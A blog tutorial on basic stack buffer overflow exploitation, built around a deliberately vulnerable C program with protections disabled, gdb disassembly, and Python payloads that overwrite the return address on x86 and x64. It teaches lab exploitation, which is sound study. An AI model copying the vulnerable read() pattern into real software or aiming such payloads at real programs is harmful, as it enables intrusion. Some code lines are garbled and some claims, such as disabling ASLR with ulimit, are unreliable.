본문 바로가기

Security/System Hacking

[System Hacking] 1. Basic Buffer Over Flow Exploit

Basic Buffer Over Flow Exploit

Today, i gonna introduce about BOF(Buffer Over Flow) Exploit Techniques.


Buffer Over Flow means putting more data than limited size, so we can overwrite next buffer data.

and next buffer data could be the other data or RET. That is real purpose of us.

All we need to do is just finding vulnerable codes that allow us to overwrite next data caused by misusing kind of input functions like read(), scanf(), strcpy(), strncpy() stuffs.


The approximate attack vector is composed like below.

1
2
3
4
5
6
7
8
9
10
11
12
/* Before buffer overflow */
-----------------------------------------------
buf1[16]      | buf2[16]         | .... | RET 
-----------------------------------------------
// If there are vulnerable codes without checking total size of input buffer,
// maybe that buffer could be overflowed like below!
 
/* After buffer overflow (filled with 'A') */
-----------------------------------------------
AAAAAAAAAAAAAA|AAAAAAAAAAAAAAAAAA|AAAAAA|AAAA 
-----------------------------------------------
// Then RET would be 0x41414141 becuase of overflow
cs

Also on the other architectures like ARM, MIPS, (x16, x86, x86-64) this rule could be same.


Let's see examples of codes that have buffer overflow bug on various environment.

Before testing this exploit, u need to understand about following architectures' assembly so that u can understand whole flow of codes.

Here is the vulnerable source codes.

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <unistd.h>
 
#define size 256
 
int main(int argc, char *argv[]) {
    char buf[size / 2= {0, };
    
    read(1, buf, size);
    printf("What u say is ... %s\n", buf);
 
    return 0;
}
cs

Environment              : Ubuntu 16.10 x86-64, gcc 6.2.0, kernel 4.8.0-32

Compile Options x86 : -m32 -Wall -fno-stack-protector -z norelro -z execstack -no-pie

                          x64 : -m64 -fPIC -Wall -fno-stack-protector -z norelro -z execstack -no-pie


And the disassemble codes

- x86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
gdb-peda$ disas main
Dump of assembler code for function main:
   0x0804841b <+0>:    lea    ecx,[esp+0x4]
   0x0804841f <+4>:    and    esp,0xfffffff0
   0x08048422 <+7>:    push   DWORD PTR [ecx-0x4]
   0x08048425 <+10>:    push   ebp
   0x08048426 <+11>:    mov    ebp,esp
   0x08048428 <+13>:    push   edi
   0x08048429 <+14>:    push   ebx
   0x0804842a <+15>:    push   ecx
   0x0804842b <+16>:    sub    esp,0x8c
   0x08048431 <+22>:    call   0x8048350 <__x86.get_pc_thunk.bx>
   0x08048436 <+27>:    add    ebx,0x1302
   0x0804843c <+33>:    lea    edx,[ebp-0x98]
   0x08048442 <+39>:    mov    eax,0x0
   0x08048447 <+44>:    mov    ecx,0x20
   0x0804844c <+49>:    mov    edi,edx
   0x0804844e <+51>:    rep stos DWORD PTR es:[edi],eax
   0x08048450 <+53>:    sub    esp,0x4
   0x08048453 <+56>:    push   0x100
   0x08048458 <+61>:    lea    eax,[ebp-0x98]
   0x0804845e <+67>:    push   eax
   0x0804845f <+68>:    push   0x0
   0x08048461 <+70>:    call   0x80482e0 <read@plt>
   0x08048466 <+75>:    add    esp,0x10
   0x08048469 <+78>:    sub    esp,0x8
   0x0804846c <+81>:    lea    eax,[ebp-0x98]
   0x08048472 <+87>:    push   eax
   0x08048473 <+88>:    lea    eax,[ebx-0x1218]
   0x08048479 <+94>:    push   eax
   0x0804847a <+95>:    call   0x80482f0 <printf@plt>
   0x0804847f <+100>:    add    esp,0x10
   0x08048482 <+103>:    mov    eax,0x0
   0x08048487 <+108>:    lea    esp,[ebp-0xc]
   0x0804848a <+111>:    pop    ecx
   0x0804848b <+112>:    pop    ebx
   0x0804848c <+113>:    pop    edi 
   0x0804848d <+114>:    pop    ebp
   0x0804848e <+115>:    lea    esp,[ecx-0x4]
   0x08048491 <+118>:    ret
End of assembler dump.
cs

- x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000000000400506 <+0>:    push   rbp
   0x0000000000400507 <+1>:    mov    rbp,rsp
   0x000000000040050a <+4>:    sub    rsp,0x90
   0x0000000000400511 <+11>:    mov    DWORD PTR [rbp-0x84],edi
   0x0000000000400517 <+17>:    mov    QWORD PTR [rbp-0x90],rsi
   0x000000000040051e <+24>:    lea    rdx,[rbp-0x80]
   0x0000000000400522 <+28>:    mov    eax,0x0
   0x0000000000400527 <+33>:    mov    ecx,0x10
   0x000000000040052c <+38>:    mov    rdi,rdx
   0x000000000040052f <+41>:    rep stos QWORD PTR es:[rdi],rax
   0x0000000000400532 <+44>:    lea    rax,[rbp-0x80]
   0x0000000000400536 <+48>:    mov    edx,0x100
   0x000000000040053b <+53>:    mov    rsi,rax
   0x000000000040053e <+56>:    mov    edi,0x0
   0x0000000000400543 <+61>:    call   0x400400 <read@plt>
   0x0000000000400548 <+66>:    lea    rax,[rbp-0x80]
   0x000000000040054c <+70>:    mov    rsi,rax
   0x000000000040054f <+73>:    lea    rdi,[rip+0x9e]        # 0x4005f4
   0x0000000000400556 <+80>:    mov    eax,0x0
   0x000000000040055b <+85>:    call   0x4003f0 <printf@plt>
   0x0000000000400560 <+90>:    mov    eax,0x0
   0x0000000000400565 <+95>:    leave
   0x0000000000400566 <+96>:    ret
End of assembler dump.
cs

I intensionally turn off whole protections(PIE, RELRO, NX).

But Ascii Armor and ASLR depends on kernel so, u can off ASLR with this command : ulimit -s unlimited

Ascii Armor could be disable by changing your kernel :)


There is vulnerable code.

1
read(1, buf, size); // vulnerable!
cs

'buf' size is 128 but read total 256 bytes from stdin. Mean that we can write more than 128 bytes, than overwrite the next space. In that codes, we can overwrite RET address with arbitrary data. which means we can execute some address what we want to overwrite that address to RET.


For example, if u want to execute /bin/sh shell. There are some ways. but i'll introduce just one or two ways in this article.


If we have a space that has eXecute permission(envrioment space, stack, any other space) so that writing shellcode which executes /bin/sh there, then get start address of that space and overwrite RET with the address.

Additionally, if we can make another symbolic file of this, we could still try to execute shellcode in argv[0].


Anyway, let's try real exploit.

I just overwrite 0x8c(140) bytes to completely overwrite RET. Payload and Result is like below.


-x86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
zero@ubuntu:~/Desktop/pwn/BOF$ (python -'print "A"*0x8c'| ./bof1
What u say is ... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
���
Segmentation fault (core dumped)
zero@ubuntu:~/Desktop/pwn/BOF$ gdb -q ./bof1 core
Reading symbols from ./bof1...(no debugging symbols found)...done.
[New LWP 6250]Core was generated by `./bof1'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x41414141 in ?? ()
gdb-peda$ info reg
eax            0x0    0x0
ecx            0xffdf840a    0xffdf840a
edx            0x5579e870    0x5579e870
ebx            0x0    0x0
esp            0xffdf840a    0xffdf840a
ebp            0x0    0x0
esi            0x1    0x1
edi            0x5579d000    0x5579d000
eip            0x41414141    0x41414141
eflags         0x10286    [ PF SF IF RF ]
cs             0x23    0x23
ss             0x2b    0x2b
ds             0x2b    0x2b
es             0x2b    0x2b
fs             0x0    0x0
gs             0x63    0x63
gdb-peda$ x/20xw $esp
0xffdf840a:    0x41414141    0x41414141    0x41414141    0x41414141
0xffdf841a:    0x41414141    0x41414141    0x41414141    0x41414141
0xffdf842a:    0x41414141    0x41414141    0x41414141    0x41414141
0xffdf843a:    0x41414141    0x41414141    0x41414141    0x41414141
0xffdf844a:    0x840a4141    0x0000ffdf    0xd0000000    0x00005579
cs

-x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
zero@ubuntu:~/Desktop/pwn/BOF$ (python -'print "A"*0x80 + "\x41\x41\x41\x41\x41\x41\x00\x00"'| ./bof1-x64
What u say is ... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
zero@ubuntu:~/Desktop/pwn/BOF$ gdb -q ./bof1-x64 core
Reading symbols from ./bof1-x64...(no debugging symbols found)...done.
[New LWP 23162]
Core was generated by `./bof1-x64'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x0000414141414141 in ?? ()
gdb-peda$ info reg
rax            0x2af6486c5f38    0x2af6486c5f38
rbx            0x0    0x0
rcx            0x20    0x20
rdx            0x7ffc6970cfe8    0x7ffc6970cfe8
rsi            0x2af6486c5760    0x2af6486c5760
rdi            0x2428010    0x2428010
rbp            0x414141414141    0x414141414141
rsp            0x7ffc6970ce60    0x7ffc6970ce60
r8             0xfffffffffffffff2    0xfffffffffffffff2
r9             0x99    0x99
r10            0x73    0x73
r11            0x246    0x246
r12            0x400410    0x400410
r13            0x7ffc6970cfd0    0x7ffc6970cfd0
r14            0x0    0x0
r15            0x0    0x0
rip            0x414141414141    0x414141414141
eflags         0x10206    [ PF IF RF ]
cs             0x33    0x33
ss             0x2b    0x2b
ds             0x0    0x0
es             0x0    0x0
fs             0x0    0x0
gs             0x0    0x0
gdb-peda$ x/20xw $rsp
0x7ffc6970ce60:    0x48322380    0x00002af6    0x00000000    0x00000001
0x7ffc6970ce70:    0x486c5760    0x00002af6    0x41414141    0x02428010
0x7ffc6970ce80:    0x00000001    0x00000000    0x41414141    0x41414141
0x7ffc6970ce90:    0x41414141    0x41414141    0x41414141    0x41414141
0x7ffc6970cea0:    0x41414141    0x41414141    0x41414141    0x41414141
cs

I successfully control EIP with arbitrary data!

If u want to get shell with using 'buf' space, then payload would be like below.

1
2
3
4
| -> start of 'buf'
-------------------------------------------------------
shellcode(/bin/sh) | ... | sfp | ret(address of 'buf'
-------------------------------------------------------
cs

Be careful about shellcode! Depending on architectures and system(ARM, MIPS, x16, x86, x86-64), u need to use proper shellcode which fits on target environment. and address size would be changed by system(x16, x86, x86-64). For example, x86 system's address size is 4 but x64 is 8. just notice it.


And addtional information about on x64 exploitation,

First, Don't prefer using 0x4X byte when u make payload to fill dummy buffer beacause 0x4x byte works as 'prefix' instruction on x64. so we should care about this.

Second, when u test buffer overflow with x64 binary, u need to overwrite RET to 0x0000xxxxxxxxxxxx address.

U also know or have experience when u try to overwrite RET with '0x4141414141414141" value but it won't work as well. If we try to use over 0x0001xxxxxxxxxxxx address, operation system would raise exeception. Because there is non-user or privilieged area where we can't access. So after rasing exeception, re-executing codes, then normal address would be in RET again.